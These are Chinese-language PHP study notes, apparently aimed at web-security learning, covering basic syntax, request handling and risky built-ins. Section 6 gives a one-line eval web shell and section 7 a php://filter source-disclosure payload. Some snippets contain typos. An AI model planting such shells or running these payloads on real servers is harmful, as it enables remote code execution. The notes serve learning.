文中代码参考自:PHP 基础_笨小孩@GF 知行合一的博客-CSDN博客_csdn php
看完以后就感觉PHP和C语言在一些用法上有点相似( •̀ ω •́ )y
但是那篇博客中,后面那些比较难的用法还不是很懂QAQ
(新增一些来自学姐的笔记( •̀ ω •́ )y)
1、申明变量和输出
<?php
$a=114;
$b=115;
echo($a+$b);
?>
2、数组(不一定要同类型)
<?php
$a=[0,"1"];#数组中的两个元素,一个为0,另一个为字符串1
echo($a[1]);
?>
3、用.进行字符串的拼接
<?php
$a="112";
$b="bbb"
echo($a.$b);#112bbb
?>
4、PHP接收GET和POST请求
<?php
$a=$_GET['a'];
$B=$_POST['b'];
echo "a = $a";
echo "b = $b";
?>
5、一些内置函数
<?php
var_dump(scandir("."));#scandir:读取目录
print_r(scandir("."));#var_dump和print_r表示对数组进行输出
?>
<?php
echo(readfile("index.html"));#readfile:读取文件
?>
phpinfo:表示显示php的当前信息
也可以说查看源文档
include:文件包含
#我们新建一个文本叫做test.txt
#我们直接执行是执行不了的,但是使用文件包含后,可以将test.txt当作test.php来执行
<?php
include("test.php")
?>
test.txt
<?php
$a=$_GET['a'];
$b=$_POS['b'];
echo "a = $a";
echo "b = $b";
?>
highlight:显示文件源码
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$B=$_POST['b'];
echo "a:$a";
echo "b:$b";
?>
eval:代码执行
例如 执行函数phpinfo
<?php
eval(phpinfo());
?>
用数组输出目录
<?php
eval("var_dump(scandir('.'));");
?>
assert:执行代码
与eval类似,但是assert可以当作字符串后再来执行
<?php
("assert")("var_dump(scandir('.'));");
?>
system:命令执行(系统命令)
<?php
system("whoami");
?>
<?php
eval("system('whoami');");
?>
#注意不能内嵌双引号
file_get_contents:读取文件
#与highlight类似
<?php
var_dump(file_get_contents("test.php"));
?>
file_put_contents:写文件
#第一个参数为文件名,第二个参数为文件内容
<?php
file_put_contents("botany.php","<? phpinfo();?>");
?>
#如果没有botany.php的话将创建
6、一句话木马
<?php
eval($_GET['cmd']);
eval($_POST['cmd']);
?>
7:php伪协议
php://filter/read=convert.base64-encode/resource=xxx.php
http://localhost/index.php?0=php://filter/convert.base64-encode/resource=test.php
---------------------------------------------------------------------------------------------------------------------------
<!-- switch语句 -->
<!-- <?php
$a="abc";
switch($a){
case'red':
echo "red";
break;
case'green':
echo "green";
break;
case'black':
echo "black";
break;
default:
echo "not color";
}
?> -->
<!-- 数组
<?php
$a=array("1","2","3");
echo "I Like "."$a[0]"," ","$a[1]"," ","$a[2]";
?> -->
<!-- <?php
$a=array();
$a[0]="1";
$a[1]="2";
$a[2]="3";
echo count($a)."<br>";/* 返回数组长度 */
echo "I Like "."$a[0]"," ","$a[1]"," ","$a[2]";
?> -->
<!-- <?php
$a=array("1","2","3");
$arrlength=count($a);
for($x=0;$x<$arrlength;$x++)
{ //for循环遍历数组
echo $a[$x]."<br>";
}//只输出值
print_r($a);//值和下标都打印出来
?> -->
<!-- 关联数组 -->
<!-- <?php
$age=array("gao"=>"30","li"=>"20","zhang"=>"10");
echo "gao is ".$age['gao']." years old";
?> -->
<!-- <?php
$age=array();
$age["sun"]=["20"];
$age["liu"]=["30"];
$age["zhang"]=["40"];
print_r($age);
//Array ( [sun] => Array ( [0] => 20 ) [liu] => Array ( [0] => 30 ) [zhang] => Array ( [0] => 40 ) )
?> -->
<!-- 多维数组 -->
<!-- <?php
$cars=array(
array("111",100,50),
array("222",200,100),
array("333",300,150),
);
echo $cars[1][0];
?> -->
<!-- <?php
$age["sun"]=["20"];
$age["liu"]=["30"];
$age["zhang"]=["40"];
//print_r($age);
foreach($age as $key=>$value)
{
echo "name is ".$key." old ".$value."<br>";
}
?> -->
<!-- name is sun old Array
name is liu old Array
name is zhang old Array -->
<!-- 排序 -->
<!-- <?php
$cars=array("Bingli","wzida","muling");
$x=sort($cars);
/* sort($cars); */
echo $x."<br>";
print_r($cars);
?> -->
<!-- $GLOBALS — 引用全局作用域中可用的全部变量 -->
<!-- <?php
$x=29;
$y=10;
function add()
{
$GLOBALS['z']=$GLOBALS['y']+$GLOBALS['x'];
echo $GLOBALS['z'];
}
add();
?> -->
<!-- PHP $_REQUEST 用于收集 HTML 表单提交的数据 -->
<!-- <!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<from method="POST" action="request.php">
name:<input type="text"name="neme">
<input type="submit"name="submit">
</body>
</html>
<?php
$name=$_REQUEST['name'];
echo $name;
?> -->
<!-- while 循环 -->
<!-- <?php
$a=0;
while($a<10)
{
echo "num is:".$a."<br>";
$a++;
}
?> -->
<!-- do whlie 循环 -->
<!-- <?php
$i=0;
do{//先循环
$i++;
echo "num is: ".$i."<br>";
}while($i<5);//再判断
?> -->
<!-- <?php
function Ad($x,$y)
{
$z=$x+$y;
return $z;
}
echo "1+16"."=".Ad(1,16);
?> -->
<!-- 类和对象: 类 − 定义了一件事物的抽象特点。
类的定义包含了数据的形式以及对数据的操作。 对象 − 是类的实例。 -->
<!-- <?php
class Person{//定义一个类,不能用数字开头
var $name;//定义一个变量,值为空
function say(){
echo "my name is "."$this->name";
}
}
$xm=new Person;//实例化对象、具体的使用方式
$xm->name="asd";//对象属性赋值
$xm->say();//访问对象的方法
?> -->
<!-- <?php
$string ="123";//变量
define("DEMO",true);//常量
print_r($GLOBALS);//超级全局变量
?> -->
<!-- $_REQUEST 可以接收 GET POST 发送的数据包 -->
<!-- <!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8">
</head>
<body>
<form action="<?php echo $_SERVER['HTTP_SELF'];?>" method="POST">
username:<input type ="text"name="name">
password:<input type="password"name="password">
<input type="submit">
</form>
<?php
echo "提交的内容:<font style='color:red'>".@$_POST["name"]." ".@$_POST["password"]."</font>"
?>
</body>
</html> -->
<!-- 连接数据库(有点问题) -->
<!-- <?php
$hostname="127.0.0.1";
$name="root";
$pass="root";
$db="messagebox";
$conn=mysqli_connect($hostname,$name,$pass,$db);
if (!$conn) {
die("连接失败".mysqli_connect_error());/* mysqli_connect_error()该函数保存了连接数据库的错误信息 */
}
$sql="select * from users where id=1 ";
// mysqli_query($conn,$sql);执行成功返回true
$query_result=mysqli_query($conn,$sql);
if ($query_result) {
/*如果执行成功就会执行如下的代码*/
$result_numbers=mysqli_num_rows($query_result);/*查询出数据库中记录条数,具体的数据没出来*/
if ($result_numbers>0) {
$all_result=mysqli_fetch_all($query_result);
/*mysqli_fetch_assoc将查询的结果转换为关联型数组*/
//mysqli_fetch_array()关联型和数字型
//mysqli_fetch_all()数字型
//var_dump($all_result);
//$all_result它是一个mysqli_fetch_all处理之后的数据,该数据是一个数组,数组的长度取决于sql的执行
//如果结果是一个记录,则$all_result的长度是1
//如果结果是二个记录,则$all_result的长度是2
//$all_result保存的内容也是数组,需要遍历显示数据内容
foreach ($all_result as $key => $value) {
foreach ($value as $key => $value) {
echo $value."\n";
}
}
}
else{
echo "没数据!";
}
}
else{
echo "查询失败".mysqli_error($conn);
/*mysqli_error($conn)保存了执行SQL语句的错误信息*/
}
mysqli_close($conn);
?> -->
<!-- php集合HTML(有问题) -->
<!-- <?php
// echo "<meta charset='utf-8'>"; //指定字符集
header("Content-Type:text/html;charset=utf-8");
echo '<form method="POST" action="#">
name:<input type="text" name="name">
psswd:<input type="password" name="pwd">
<input type="submit" name="submit">
</form>';
$name = @$_POST['name']; //$_POST 对应 form method="POST"
$pwd = @$_POST['pwd']; //接收数据
if ($name != "" && $pwd != "") {
//判断当前提交的数据是否为空,不为空的情况下执行下面的代码
echo "UserName is : " . $name . "<br>";
echo "PassWord is : " . $pwd;
}
?>
-->